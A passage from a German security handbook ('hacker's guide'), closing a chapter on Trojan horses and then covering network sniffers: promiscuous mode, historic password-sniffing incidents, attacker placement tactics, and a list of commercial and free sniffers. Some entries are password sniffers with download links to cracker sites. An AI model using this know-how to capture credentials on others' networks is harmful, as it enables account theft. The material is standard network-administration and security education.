http://www.freesoft.org/Connected/RFC/1510/69.html
»RFC 1510 - 6.4.5. RSA MD5 Cryptographic Checksum Using DES
(rsa-md5des)«
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1510.txt
»A Digital Signature Based on a Conventional Encryption Function«
Ralph C. Merkle. Crypto 87, LNCS, pp. 369-378, SV, August 1987.
»An Efficient Identification Scheme Based on Permuted Kernels«
Adi Shamir. Crypto 89, LNCS, pp. 606-609, SV, August 1989.
»An Introduction to Digest Algorithms«
Proceedings of the Digital Equipment Computer Users Society, Australien, Ross N. Williams. September
1994.
ftp://ftp.rocksoft.com/clients/rocksoft/papers/digest10.ps
Trojanische Pferde
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»Data Integrity with Veracity«
Ross N. Williams.
ftp://ftp.rocksoft.com/clients/rocksoft/papers/vercty10.ps
»Trusted Distribution of Software over the Internet«
Aviel D. Rubin. (Bellcore's Trusted Software Integrity (Betsi) System). 1994.
ftp://ftp.cert.dfn.de/pub/docs/betsi/Betsi.ps
»International Conference on the Theory and Applications of Cryptology«
1994 Wollongong, N.S.W. Advances in Cryptology, ASIACRYPT 28. November - 1. December 1994.
(Protokolle) Berlin & New York. Springer, 1995.
Managing Data Protection (Second Edition)
Dr. Chris Pounder und Freddy Kosten, Butterworth-Heineman Limited, 1992.
»Some Technical Notes on S/Key, PGP«
Adam Shostack.
http://www.homeport.org/~adam/skey-tech-2.html
»Description of a New Variable-Length Key, 64-Bit Block Cipher« (Blowfish)
Bruce Schneier. Counterpane Systems.
http://www.program.com/source/crypto/blowfish.txt
12.8 Zusammenfassung
Trojanische Pferde sind ein bedeutendes Sicherheitsrisiko für jedes Netzwerk. Da PC- basierte Server
sich im Internet immer weiter verbreiten, müssen Entwickler Utilities (zusätzlich zu den schon
vorhandenen Anti-Viren-Utilities) entwerfen, die Trojanische Pferde aufdecken können.
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1
Gene H. Kim und Eugene H. Spafford, The Design and Implementation of Tripwire: A File System
Integrity Checker. COAST Laboratory, Department of Computer Science, Purdue University. 23.
Februar 1995.
Markt+Technik, ein Imprint der Pearson Education Deutschland GmbH.
Trojanische Pferde
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Elektronische Fassung des Titels: hacker's guide, ISBN: 3-8272-5460-4
Trojanische Pferde
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13
Sniffer
Sniffer sind Geräte oder Programme, die Netzwerk-Datenpakete abfangen. Ihr legitimer Zweck ist die
Analyse von Netzwerkverkehr und die Identifizierung von potentiellen Gefahrenbereichen. Nehmen Sie
beispielsweise an, daß ein Segment Ihres Netzwerks schlecht funktioniert: die Paketübertragung scheint
unglaublich langsam oder Rechner blockieren plötzlich beim Booten des Netzwerks. Sie benutzen einen
Sniffer, um die genaue Ursache zu bestimmen.
Sniffer unterscheiden sich erheblich in Funktionalität und Design. Einige analysieren nur ein Protokoll,
während andere Hunderte analysieren können. Generell können die meisten modernen Sniffer
mindestens eines der folgenden Protokolle analysieren:
Standard Ethernet
TCP/IP
IPX
DECNet
Sniffer bestehen immer aus einer Kombination von Hardware und Software. Proprietäre Sniffer sind
teuer (Anbieter packen sie in der Regel in spezielle Computer, die für den Sniffer-Prozeß »optimiert«
sind). Freeware-Sniffer dagegen sind billig, beinhalten aber keine Supportleistungen.
In diesem Kapitel werden Sniffer sowohl als Sicherheitsrisiken als auch als
Netzwerk-Administrationstools betrachtet.
13.1 Sniffer als Sicherheitsrisiken
Sniffer unterscheiden sich erheblich von Tastaturanschlag-Recordern. Tastaturanschlag- Recorder fangen
Tastaturanschläge ab, die an einem Terminal eingegeben werden. Sniffer dagegen fangen ganze
Netzwerk-Pakete ab. Sniffer tun dies, indem sie das Netzwerk-Interface - also etwa den Ethernet-Adapter
- in Promiscuous Mode (ein Modus, bei dem alle Pakete zur Weiterverarbeitung empfangen und erst
nach Auswertung der Kontrollinformationen entweder geroutet oder gebridged werden) versetzen.
Um den Begriff Promiscuous Mode zu verstehen, brauchen Sie einen kurzen Einblick in die
Funktionsweise eines kleinen lokalen Netzwerks.
Sniffer
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13.1.1 LANs und Datenverkehr
Lokale Netze (LANs) sind kleine Netzwerke, die (in der Regel) über Ethernet verbunden sind. Daten
werden über Kabel von einem Rechner zum anderen übertragen. Es gibt verschiedene Kabeltypen und
diese Typen übermitteln Daten mit unterschiedlicher Geschwindigkeit. Die fünf üblichsten
Netzwerkkabeltypen sind die folgenden:
10Base2. Koaxial-Ethernet (dünnes Kabel), das Daten standardmäßig über Entfernungen bis zu 185
Meter überträgt.
10Base5. Koaxial-Ethernet (dickes Kabel), das Daten standardmäßig über Entfernungen bis zu 500
Meter überträgt.
10BaseFL. Glasfaser-Ethernet.
10BaseT. Twisted-Pair-Ethernet, das Daten standardmäßig über Entfernungen bis zu 185 Meter
überträgt.
100BaseT. Fast Ethernet (100Mbps), das Daten standardmäßig über Entfernungen bis zu 100 Meter
überträgt.
Daten reisen in kleinen Einheiten namens Frames durch das Kabel. Diese Frames sind in Abschnitten
aufgebaut und jeder Abschnitt trägt spezialisierte Informationen. (Zum Beispiel beinhalten die ersten 12
Byte eines Ethernet-Frames sowohl die Empfänger- als auch die Absenderadresse. Diese Werte sagen
dem Netzwerk, woher die Daten kommen und wohin sie gehen. Andere Teile des Ethernet-Frames
beinhalten die eigentlichen Benutzerdaten, TCP/IP-Header, IPX-Header usw.)
Frames werden mit Hilfe spezieller Software für den Transport fertiggestellt, die Netzwerk- Treiber
genannt wird. Die Frames werden dann über Ihre Ethernet-Karte von Ihrem Rechner in das Kabel
geleitet. Von da reisen sie an ihr Ziel. An diesem Punkt wird der Prozeß umgekehrt durchgeführt: Die
Ethernet-Karte des Empfängerrechners teilt dem Betriebssystem mit, daß die Frames angekommen sind,
und leitet diese Frames zur Speicherung weiter.
Sniffer stellen ein Sicherheitsrisiko dar aufgrund der Art und Weise, wie Frames übertragen und
ausgeliefert werden. Lassen Sie uns diesen Prozeß kurz ansehen.
13.1.2 Pakettransport und -auslieferung
Jedes Netzwerkinterface eines Rechners in einem LAN hat seine eigene Hardwareadresse. Diese
einzigartige Adresse unterscheidet den Rechner von allen anderen im Netzwerk (ähnlich wie das
Internet-Adreßsystem). Wenn Sie eine Nachricht über das LAN versenden, werden Ihre Pakete an alle
verfügbaren Rechner gesandt.
Unter normalen Umständen können alle Rechner des Netzwerks den vorbeigehenden Datenverkehr
»hören«, aber sie werden nur auf die Daten reagieren, die ausdrücklich an sie adressiert sind. (Anders
gesagt, Workstation A wird nicht die Daten abfangen, die für Workstation B bestimmt sind. Stattdessen
wird Workstation A diese Daten ganz einfach ignorieren.)
Wenn das Netzwerk-Interface einer Workstation jedoch in Promiscuous Mode versetzt ist, kann es alle
Sniffer
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Pakete und Frames des Netzwerks abfangen. Eine derart konfigurierte Workstation (und die Software,
die auf ihr läuft) ist ein Sniffer.
13.2 Wie hoch ist das Risiko, das Sniffer
darstellen?
Sniffer stellen aus folgenden Gründen ein hohes Risiko dar:
Sniffer können Paßwörter abfangen.
Sniffer können vertrauliche oder proprietäre Informationen abfangen.
Sniffer können dazu benutzt werden, Sicherheitsmaßnahmen angrenzender Netzwerke zu
durchbrechen oder einflußnehmenden Zugang zu erhalten.
Die pure Existenz eines unautorisierten Sniffers in Ihrem Netzwerk zeigt möglicherweise, daß Ihr System
bereits kompromittiert wurde.
13.3 Gab es schon tatsächliche Angriffe durch
Sniffer?
Sniffer-Angriffe sind verbreitet, insbesondere im Internet. Ein gutplazierter Sniffer kann nicht nur ein
paar Paßwörter abfangen, sondern Tausende. 1994 beispielsweise wurde ein massiver Sniffer-Angriff
entdeckt, der ein Marine-Forschungsinstitut veranlaßte, folgenden Hinweis ins Internet zu setzen:
Im Februar 1994 installierte ein Unbekannter einen Netzwerk-Sniffer auf zahlreiche Hosts
und Backbone-Elemente und sammelte über das Internet und Milnet mehr als 100.000
gültige Benutzernamen und Paßwörter. Jeder Rechner, der Zugang über FTP, Telnet oder
entferntes Login bietet, ist in Gefahr. Alle vernetzten Hosts, auf denen ein Unix-Derivat
läuft, sollten auf den besonderen Promiscuous-Gerätetreiber untersucht werden, der es
ermöglicht, daß ein Sniffer installiert werden kann.1
Wegweiser:
Sie können sich den Naval Computer and Telecommunications Area Master Station LANT-Hinweis
ansehen unter http://www.chips.navy.mil/ chips/archives/94_jul/file14.html.
Der Angriff auf Milnet war so ernst, daß die Angelegenheit vor das Subcommittee on Science, Space, and
Technology im amerikanischen Repräsentantenhaus gebracht wurde. F. Lynn McNulty, Associate
Director für Computersicherheit im National Institute of Standards and Technology, führte in seiner
Zeugenaussage auf:
Der jüngste Zwischenfall betraf die Entdeckung von »Paßwort-Sniffer«-Programmen auf
Hunderten von Systemen im Internet. Die ernste Auswirkung dieses Zwischenfalls sollte
erkannt werden: Login-Informationen (z.B. Account-Nummern und Paßwörter) für
potentiell Tausende von Benutzer-Accounts von Systemhosts wurden wohl gefährdet. Es ist
klar, daß dieser Zwischenfall eine negative Wirkung auf die Arbeitsmissionen einiger
Sniffer
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Regierungsbehörden hatte. Außerdem sollte dies als ein andauernder Zwischenfall
angesehen werden und nicht als ein Fall, der passiert und erledigt ist. Tatsächlich wurden
Systemadministratoren im ganzen Internet aufgerufen, ihre Benutzer aufzufordern, ihre
Paßwörter zu ändern. Der ganze Vorfall ist tatsächlich von großer Bedeutung und wir
werden seine Auswirkungen noch für einige Zeit spüren. Es ist nicht nur schwierig, wenn
nicht unmöglich, jeden Benutzer zu identifizieren und zu benachrichtigen, dessen
Login-Informationen beschädigt sein mögen, sondern es ist auch unwahrscheinlich, daß
jeder, selbst wenn er benachrichtigt wurde, sein Paßwort ändern wird.
Wegweiser:
Die vollständige Zeugenaussage von McNulty finden Sie unter http://
www.swiss.ai.mit.edu/6.805/articles/mcnulty-internet-security.txt.
Dieser Angriff ist weltweit als der schlimmste jemals aufgezeichnete (bekanntgewordene) Fall anerkannt,
aber nur einige Monate später erfolgte der nächste Angriff. In diesem Fall (der Angriff erfolgte auf
Rahul.net) lief ein Sniffer nur 18 Stunden lang und beeinträchtigte die Sicherheit von Hunderten von
Hosts. In ihrem Artikel »Sniffing in the Sun: History of a Disaster« berichten Sarah Gordon und I.
Nedelchev:
Die Liste enthielt 268 Sites, darunter Hosts des MIT, der amerikanischen Marine und
Luftwaffe, von Sun Microsystems, IBM, der NASA, CERFNet und von Universitäten in
Kanada, Israel, den Niederlanden, Taiwan und Belgien.
Wegweiser:
Sie finden die Liste der betroffenen Server unter http://
idea.sec.dsi.unimi.it/cert-it/firewall-L/9407/0145.html.
Institutionen und Privatunternehmen sind natürlich nicht bereit zuzugeben, daß ihre Netzwerke
beeinträchtigt wurden, daher werden Sniffer-Angriffe in der Regel nicht öffentlich bekannt. Aber es gibt
einige Fallstudien im Internet. Hier sind ein paar bekannte Opfer:
California State University in Stanislaus
Ein Waffenforschungslabor der amerikanischen Armee
White Sands Missile Range
Wegweiser:
Weitere Informationen über den Stanislaus-Vorfall finden Sie unter http://
yahi.csustan.edu/studnote.html.
Für weitere Informationen über die anderen beiden Vorfälle schauen Sie sich den GAO-Bericht an
unter http://www.securitymanagement.com/ library/000215.html.
Sniffer
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13.4 Welche Informationen fangen Sniffer ab?
Sniffer können alle Datenpakete eines Netzwerks abfangen, aber in der Praxis muß ein Angreifer
wählerischer sein. Ein Sniffer-Angriff ist nicht so einfach, wie er sich anhört. Er erfordert einiges an
Wissen über Netzwerke. Einfach einen Sniffer einzurichten und ihn dann sich selbst zu überlassen, wird
zu Problemen führen, da selbst ein Netzwerk mit nur fünf Stationen Tausende von Paketen pro Stunde
überträgt. Innerhalb kurzer Zeit könnte die Ausgabedatei eines Sniffers eine Festplatte komplett füllen
(wenn Sie jedes Paket protokollieren würden).
Um dieses Problem zu umgehen, wenden Cracker einen Sniffer im allgemeinen nur für die ersten 200 bis
300 Byte eines jeden Datenpakets an. Der Benutzername und das Paßwort sind in diesem Teil enthalten
und das ist alles, was die meisten Cracker wollen. Es ist jedoch richtig, daß man einen Sniffer für alle
Pakete eines bestimmten Interfaces benutzen kann. Wenn man entsprechende Speichermedien zur
Verfügung hat, würde man sicher noch einige weitere interessante Informationen finden.
13.5 Wo kann man einen Sniffer finden?
Sie können fast überall einen Sniffer finden. Es gibt jedoch einige strategische Punkte, die ein Cracker
bevorzugen mag. Einer davon liegt in der Nähe eines Rechners oder Netzwerks, der bzw. das viele
Paßwörter empfängt. Dies gilt insbesondere dann, wenn der anvisierte Rechner ein Gateway zur
Außenwelt ist. Wenn das so ist, wird der Cracker Authentifizierungsprozeduren zwischen Ihrem und
anderen Netzwerken abfangen wollen. Dies kann den Aktivitätsradius des Crackers exponential
erweitern.
Hinweis:
Ich glaube nicht, daß irgendein Sniffer in der Praxis absolut jeden Verkehr in einem Netzwerk abfangen
kann. Das liegt daran, daß die Chance, daß Pakete verloren gehen, größer wird, je größer die Anzahl
der versendeten Pakete ist. Wenn Sie sich technische Berichte über Sniffer ansehen, werden Sie
feststellen, daß bei hohen Geschwindigkeiten und in Netzwerken mit viel Datenverkehr eine mehr als
unbedeutende Datenmenge verloren geht. (Kommerzielle Sniffer, die meist besser gemacht sind, sind für
Paketverluste weniger anfällig.) Dies läßt annehmen, daß Sniffer möglicherweise selber anfällig für
Attacken sind. Anders gesagt, genau wieviele Pakete kann ein Sniffer annehmen, bevor er in seiner
fundamentalen Mission versagt? Das ist ein Thema, das Untersuchungen wert wäre.
Sicherheitstechnologien haben sich erheblich weiterentwickelt. Einige Betriebssysteme benutzen jetzt
Verschlüsselung auf Paketebene und daher mag ein Sniffer zwar wichtige Daten abfangen, aber diese
Daten sind verschlüsselt. Dies ist eine zusätzliche Hürde, die wahrscheinlich nur von denjenigen
überwunden werden kann, die ein tiefergehendes Wissen über Sicherheit, Verschlüsselung und
Netzwerke haben.
Sniffer
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13.6 Wo kann ich einen Sniffer bekommen?
Sniffer kommen grundsätzlich in zwei Versionen: kommerziell und Freeware. Wenn Sie neu auf dem
Gebiet der Netzwerksicherheit sind, empfehle ich Ihnen, sich einen Freeware-Sniffer zu besorgen. Wenn
Sie dagegen ein großes Netzwerk verwalten, sollte Ihr Unternehmen mindestens einen kommerziellen
Sniffer erwerben. Sie sind unbezahlbar, wenn Sie ein Netzwerkproblem diagnostizieren wollen.
13.6.1 Kommerzielle Sniffer
Die Sniffer in diesem Abschnitt sind kommerziell, aber viele der Unternehmen bieten Demoversionen
an.
ATM Sniffer Network Analyzer von Network Associates
ATM Sniffer Internetwork Analyzer entschlüsselt mehr als 250 LAN/WAN-Protokolle, darunter u.a.
AppleTalk, Banyan VINES, DECnet, IBM LAN Server, IBM SNA, NetBIOS, Novell NetWare, OSI,
Sun NFS, TCP/IP, 3Com 3+Open, X-Window und XNS/MS-net.
Network Associates, Inc.
Tel.: +1-408-988-3832
URL: http://www.networkassociates.com/
Shomiti System Century LAN Analyzer
Der Shomiti System Century LAN Analyzer ist eine strapazierfähige Hardware-/Software- Lösung, die
10/100-Mbps-Ethernet unterstützt. Das System beinhaltet einen 64-Mbyte-Puffer und bietet
Echtzeit-Berichterstellung. Diese Lösung ist am besten für große Netzwerke geeignet und läuft auf
Windows 95 oder Windows NT.
Shomiti-Systeme, Inc.
Tel.: +1-408-437-3940
E-Mail: mailto:info@shomiti.com
URL: http://www.shomiti.com/
PacketView von Klos Technologies
PacketView ist ein DOS-basierter Paket-Sniffer, der sich ideal für die Benutzung in Ethernet-, Token
Ring-, ARCNET- und FDDI-Umgebungen eignet. PacketView ist ein kommerzielles Produkt, das Sie
aber vor dem Kauf ausprobieren können. Die Demoversion finden Sie unter
ftp://ftp.klos.com/demo/pvdemo.zip.
Klos Technologies, Inc.
Tel.: +1-603-424-8300
Sniffer
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Fax: +1-603-424-9300
E-Mail: sales@klos.com
URL: http://www.klos.com/
Network Probe 8000
Network Probe 8000 ist eine proprietäre Hardware-/Softwarelösung für die Protokollanalyse in WANs.
Es kann Datenpakete von den folgenden Protokollen abfangen und analysieren: AppleTalk, Banyan,
DEC Net, Microsoft, IBM, NFS, Novell, SMB, Sun NFS, TCP/IP, Token Ring/LLC, X-WINDOWS und
XNS.
Network Communications
Tel.: +1-800-228-9202
Fax: +1-612-844-0487
E-Mail: dianneb@netcommcorp.com
URL: http://www.netcommcorp.com/
LANWatch
LANWatch ist eine Software-basierte Snifferlösung für DOS, Windows 95 und Windows NT. Es
überwacht Pakete von den folgenden Protokollen: TCP, UDP, IP, IPv6, NFS, NetWare, SNA,
AppleTalk, VINES, ARP, NetBIOS und etwa 50 weiteren. LANWatch ermöglicht Momentaufnahmen
des Netzwerks, wenn auch nicht in Echtzeit. Eine Demoversion finden Sie unter
ftp://209.218.15.100/pub/lw32demo.exe.
Precision Guesswork
Tel.: +1-978-887-6570
E-Mail: info@precision.guesswork.com
URL: http://www.guesswork.com/
EtherPeek
EtherPeek (3.5 ist zur Zeit die aktuelle Version) ist sowohl für Windows- als auch für
Macintosh-Plattformen verfügbar. Dieses Produkt hat in einer Besprechung in Macworld hervorragend
abgeschnitten und ist weitgehend als führender Protokollanalysator für den Macintosh anerkannt. Der
einzige Nachteil ist der recht hohe Preis.
The AG Group, Inc.
Tel.: +1-510-937-7900
E-Mail: ricki@aggroup.com
Sniffer
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NetMinder Ethernet
NetMinder Ethernet ist ein Macintosh-basierter Protokollanalysator, der einige sehr interessante
Funktionen bietet, darunter automatisierte HTML-Ausgabeberichte. Diese Berichte werden in Echtzeit
aktualisiert und ermöglichen damit dem Systemadministrator den Zugang zu seinen aktuellen
Netzwerkanalysestatistiken von überall in der Welt. (Natürlich bietet die Applikation auch eine Funktion
zur Echtzeitanalyse in der Standard-GUI-Umgebung.) Eine Demoversion finden Sie unter
http://www.neon.com/demos_goodies.html.
Neon Software
Tel.: +1-800-334-NEON
E-Mail: info@neon.com
URL: http://www.neon.com
DatagLANce Network Analyzer von IBM
DatagLANce ist sowohl für Ethernet- als auch für Token-Ring-Netzwerke und wurde speziell für OS/2
entwickelt. (Meines Wissens nach ist er der einzige Sniffer, der ausdrücklich für OS/2 geschrieben
wurde.) DatagLANce kann eine ganze Reihe von Protokollen analysieren, darunter u.a. NetBIOS, IBM
LAN Manager, TCP/IP, NFS, IPX/SPX, DECnet, AppleTalk und Banyan VINES. Außerdem verfügt
DatagLANce über Funktionen zur Ausgabe von Analysedaten in vielen verschiedenen Formaten.
IBM
Produkt-Nr.: 5622-441, 5622-442, 5622-443
Network Analyzer Development
URL: http://www.redbooks.ibm.com/GX288002/x800206.htm
LinkView Internet Monitor
Der LinkView Internet Monitor unterstützt Token Ring, Ethernet und Fast Ethernet (und 100 Protokolle),
ist aber hauptsächlich für die Analyse von Netzwerken im Internet entwickelt. Daher trennt es
automatisch IP-Berichtsstatistiken von anderen Protokollstatistiken. LinkView Internet Monitor läuft auf
Windows, Windows 3.11, Windows 95 und Windows NT. Eine Demoversion finden Sie unter
http://www.wg.com/presentations/linkview/ download_forms/internet_monitor32_form.html.
Wandel & Goltermann, Inc.
URL: http://www.wg.com/
ProConvert
ProConvert ist kein Sniffer, sondern ein wunderbares Tool, um Daten von verschiedenen Sniffern zu
integrieren. ProConvert entschlüsselt die Formate von (und bietet universelles Übersetzen zwischen den
Sniffer
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Formaten von) DatagLANce, Fireberd500, Internet Advisor LAN, LAN900, LANalyzer for Windows,
LANdecoder, LANWatch, Precision Guesswork, NetLens, Network Monitor, NetSight, LANDesk und
Network General. Er kann ihnen viele, viele Stunden Arbeit ersparen.
Net3 Group, Inc.
Tel.: +1-612-454-5346
E-Mail: sales@net3group.com
URL: http://www.net3group.com/
LANdecoder32
LANdecoder32 ist ein sehr populärer Sniffer, der unter Windows 95 oder Windows NT zum Einsatz
kommt. Er bietet fortschrittliche Berichtsmöglichkeiten und kann benutzt werden, um Frame-Inhalte zu
analysieren. Andere Funktionen bieten entfernte Überwachung (RMON auf dem entfernten System
erforderlich), ASCII-Filtering (Filtern nach Textstrings) und Echtzeitberichterstellung.
Triticom
Tel.: +1-612-937-0772
E-Mail: info@triticom.com
URL: http://www.triticom.com/
NetXRay Analyzer
NetXRay Analyzer ist ein mächtiger Protokollanalysator (Sniffer) und ein Netzwerk-Überwachungstool
für Windows NT. Er ist einer der umfassendsten Windows-NT-Sniffer auf dem Markt.
Cinco Networks, Inc.
Tel.: +1-510-426-1770
E-Mail: marketing@ngc.com
URL: http://www.cinco.com/
NetAnt Protocol Analyzer
NetAnt Protocol Analyzer entschlüsselt alle beliebten Protokolle, darunter TCP/IP, IPX/ SPX, NetBIOS,
AppleTalk, SNMP, SNA, ISO, BPDU, XNS, IBMNM, RPL, HTTP, FTP, TELNET, DEC, SunRPC und
Vines IP. Er läuft auf Windows 95 und exportiert zu populären Tabellenkalkulationsformaten, was sehr
bequem für die Analyse ist.
People Network, Inc.
E-Mail: sweston@people-network.com
Sniffer
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URL: http://www.people-network.com/
13.6.2 Kostenlose Sniffer
Es gibt auch viele Freeware- und Shareware-Sniffer. Diese sind perfekt, wenn Sie etwas über
Netzwerk-Datenverkehr lernen wollen, ohne gleich viel Geld auszugeben. Leider sind manche dieser
Sniffer architekturspezifisch, und die meisten von ihnen für Unix entwickelt worden.
sniffit
Mit dem ncurses-orientierten Benutzer-Interface (ncurses erlaubt eine grafische Aufmachung im
Textmodus) zählt sniffit wohl zu den komfortabelsten Sniffern in der Unix-Welt. Es hat zudem
Konfigurationsmöglichkeiten, die einen Lauf im Hintergrund möglich machen. Sniffit taugt zum
Untersuchen von TCP-Verbindungen und auch zur Untersuchung des Inhalts der Verbindung: Sie
können etwa den Datenverkehr einer telnet-Sitzung auf einem Ihrer Terminals (etwa ein xterm)
betrachten, während auf der belauschten Verbindung gerade jemand seine E-Mail liest. Sniffit läuft auf
Linux, Solaris 1 und 2, FreeBSD und IRIX und findet sich unter
http://sniffit.rug.ac.be/sniffit/sniffit.html.
Ethereal
Ethereal ist noch sehr neu und hat auch noch eine 0 als Releasenummer. Es hat ein grafisches
Benutzer-Interface (gtk+) und bietet eine Reihe nützlicher Funktionen. Einer der Vorzüge: Pakete
werden zur späteren Analyse aufgezeichnet. Es ist zu erwarten, daß der Autor in naher Zukunft noch
weitere praktische Funktionen in das Programm einbaut. Sie finden es unter http://ethereal.zing.org/.
Esniff
Esniff ist ein Standard-Unix-basierter Auswahlsniffer. Er wurde erstmals im Phrack Magazine (einem
Online-Hacker-Zine) freigegeben und ist weit verbreitet. Sie brauchen einen C- Compiler und
IP-Include-Dateien, um ihn benutzen zu können. Esniff finden Sie unter
http://www.asmodeus.com/archive/IP_toolz/ESNIFF.C
http://www.rootshell.com/archive-ld8dkslxlxja/199707/Esniff.c
http://www.chaostic.com/filez/exploites/Esniff.c
Gobbler (Tirza van Rijn)
Gobbler ist ein hervorragendes Tool, wenn Sie etwas über Sniffer lernen wollen. Er wurde für die
MS-DOS-Plattform entwickelt, läuft aber auch unter Windows 95.
Die Arbeitsweise von Gobbler mag zunächst etwas verwirrend erscheinen. Menüs erscheinen nicht
sofort, wenn Sie die Applikation starten, sondern Sie sehen zunächst nur den Eröffnungsbildschirm
(siehe Abbildung 13.1). Menüs sind vorhanden, nur ist Gobbler nicht gerade die benutzerfreundlichste
Applikation. Drücken Sie die Leertaste und die Menüs tauchen auf.
Sniffer
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Abbildung 13.1: Der Eröffnungsbildschirm von Gobbler.
Drücken Sie nach Booten der Applikation die F1-Taste, dann sehen Sie eine Legende, die Informationen
über die Funktionen des Programms enthält (s. Abbildung 13.2).
Gobbler kann entweder auf einer einzelnen Workstation zur Analyse von lokalen Paketen oder entfernt
über ein Netzwerk eingesetzt werden. Das Programm bietet komplexe Paketfilter-Funktionen und Sie
können Warnmeldungen spezifizieren, die auf dem jeweils angetroffenen Pakettypen basieren. Sie
können Gobbler auf diese Art und Weise sogar starten und beenden: Er wartet auf einen spezifizierten
Pakettypen, bevor er mit der Protokollierung beginnt.
Außerdem bietet Gobbler Echtzeit-Überwachung von Netzwerkverkehr. Er ist ein hervorragendes Tool
für die Diagnose von Netzwerkstauungen und die Dokumentation beinhaltet sogar eine Fallstudie. Hier
ist ein Auszug aus diesem Papier:
Eine Bridge hatte Probleme, ihre Startup-Sequenz über das bootp-Protokoll zu beenden.
Der Gobbler-Paketfänger wurde benutzt, um die Pakete zu und von der Bridge abzufangen.
Der Ausgabedatei-Viewer und der Protokollanalysator machten es möglich, die gesamte
Startup-Sequenz nachzuvollziehen und der Ursache des Problems auf den Grund zu gehen.2
Abbildung 13.2: Der Hilfebildschirm von Gobbler »Funktionen und Navigation«
Alles in allem ist Gobbler ein großartiges Tool, um etwas über Protokollanalyse zu lernen. Es ist klein,
effektiv und, vielleicht das beste von allem, es ist kostenlos. Allerdings ist es möglich, daß Sie keine
Dokumentation erhalten, je nachdem wo Sie sich Gobbler besorgen. Die Dokumentation ist eine
Postscript-Datei namens Paper.gs. Von den unten angegebenen URLs, unter denen Sie Gobbler
finden, liefert nur die erste die Dokumentation.
Wegweiser:
Gobbler ist nicht mehr weit verbreitet und diese Links sind ziemlich weit entfernt, das Herunterladen
könnte also etwas länger dauern. Sie finden Gobbler unter
http://www.cse.rmit.edu.au/~rdssc/courses/ds738/watt/other/ gobbler.zip
http://cosmos.ipc.chiba-u.ac.jp/~simizu/ftp.ipc.chiba- u.ac.jp/.0/network/noctools/sniffer/gobbler.zip
ftp://ftp.tordata.se/www/hokum/gobbler.zip
ETHLOAD
(Vyncke, Blondiau, Ghys, Timmermans, Hotterbeex, Khronis und Keunen)
Sniffer
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ETHLOAD ist ein Freeware-Paketsniffer, der für Ethernet- und Token-Ring-Netzwerke in C geschrieben
wurde. Er läuft gut auf den folgenden Plattformen:
Novell ODI
3Com/Microsoft Protocol Manager
PC/TCP/Clarkson/Crynwr
Er analysiert die folgenden Protokolle:
TCP/IP
DECnet
OSI
XNS
NetWare
Netbeui
Leider ist der Source-Code nicht mehr öffentlich verfügbar. Dazu der Autor:
Nachdem ich in einigen Mailing-Listen nach Veröffentlichung des Source-Codes auf
erheblichen Zorn gestoßen bin und ich die Ängste der Leute auch verstehen kann (auch
wenn es überall andere Sniffer gibt), habe ich beschlossen, den Source-Code nicht länger
zur Verfügung zu stellen.
ETHLOAD hatte einmal eine Funktion zum Sniffen von rlogin und Telnet-Sessions, allerdings nur über
einen speziellen Schlüssel. Mittlerweile verteilt der Autor diesen Schlüssel nur noch, wenn Sie
irgendeine Form einer offiziellen Bestätigung zur Verfügung stellen können. Damit hat der Autor also
Maßnahmen ergriffen, damit diese Funktion nicht in die falschen Hände gelangen kann.
Für einen kostenlosen Sniffer für eine DOS/Novell-Plattform ist ETHLOAD hervorragend.
Wegweiser:
Hier einige Sites, die ETHLOAD anbieten:
http://www.med.ucalgary.ca:70/5/ftp/dos/dos/ethld104.zip
http://www.computercraft.com/noprogs/ethld104.zip
http://www.apricot.co.uk/ftp/bbs/atsbbs/allfiles.htm
Netman (Schulze, Benko und Farrell)
Netman unterscheidet sich insofern von ETHLOAD, als daß Sie den Source-Code bekommen können,
allerdings ist das recht kompliziert. Sie müssen dafür bezahlen, und das Entwicklungsteam besteht
darauf, daß der Source-Code nicht für kommerzielle Zwecke benutzt werden darf.
Das Team der Curtin University hat im Rahmen des Netman-Projekts eine ganze Familie von
Applikationen entwickelt:
Interman
Sniffer
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Etherman
Packetman
Geotraceman
Loadman
Analyser
Etherman verfolgt Ethernet-Aktivitäten, ist aber kein gewöhnlicher ASCII-to-Outfile- Paketsniffer.
Etherman verfolgt einen völlig neuen Ansatz, der sich komplett von dem seiner Gegenstücke
unterscheidet. In der Dokumentation heißt es:
Für dieses Projekt versuchten wir, die Ziele zu erweitern, indem wir Netzwerk-Daten
visualisieren. Dies haben wir durch den Einsatz eines grafischen Modells für eine
Sammlung von kontinuierlich aktualisierten Netzwerkstatistiken erreicht.
Ihren Ansprüchen gerecht werdend haben die Autoren ein außergewöhnliches Tool entwikkelt. Das
Programm präsentiert einen schwarzen Bildschirm, auf dem Adressen, Datenverkehr und Interfaces als
Punkte innerhalb des Netzwerks gekennzeichnet sind - Verbindungspunkte oder Datenfluß zwischen
diesen Punkten sind rot dargestellt. Dieses genaue grafische Modell wird in Echtzeit aktualisiert. Die
NetMan-Programmfamilie ist sehr mächtig und ist jetzt auch auf Windows portiert worden. Ich kann sie
sehr empfehlen.
Wegweiser:
Das Netman-Projekt hatte großen Erfolg und die Autoren leiten jetzt ein kommerzielles Unternehmen,
das Sie unter der folgenden Adresse finden: http://www.ndg.com.au/
LinSniff
LinSniff ist ein Paßwort-Sniffer. Um ihn zu kompilieren, brauchen Sie alle notwendigen
Netzwerk-Include-Dateien (tcp.h, ip.h, inet.h, if-ther.h usw.) auf einem Linux- System.
LinSniff finden Sie unter
http://www.rootshell.com/archive-ld8dkslxlxja/199804/linsniff.c.
Sunsniff
Sunsniff ist ebenfalls speziell für die SunOS-Plattform entwickelt worden. Es besteht aus 513 Zeilen
C-Source-Code, die von Crackern geschrieben wurden, die anonym bleiben wollen. Es funktioniert
einigermaßen gut auf Sun und ist wahrscheinlich nicht leicht auf andere Plattformen portierbar. Dieses
Programm eignet sich gut zum Experimentieren.
Wegweiser:
Sniffer
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Sunsniff finden Sie unter:
http://www.7thsphere.com/hpvac/files/hacking/sunsniff.c
http://www.zerawarez.com/main/files/csource/sunsniff.c
http://www.jabukie.com/Unix_Sourcez/sunsniff.c
linux_sniffer.c
Der Name dieses Programms sagt schon fast alles. Es besteht aus 175 Zeilen C-Code und wird
hauptsächlich über Cracker-Sites im Internet verteilt. Dieses Programm ist Linux-spezifisch. Es ist ein
weiteres Utility, das sich gut für Experimente an einem verregneten Sonntagnachmittag eignet. Es stellt
einen kostenlosen und einfachen Weg dar, etwas über Netzwerkverkehr zu lernen.
Wegweiser:
Linux_sniffer.c finden Sie unter:
http://www.rootshell.com/archive-ld8dkslxlxja/199707/ linux_sniffer.c
http://www.society-of-shadows.com/security/linux_sniffer.c
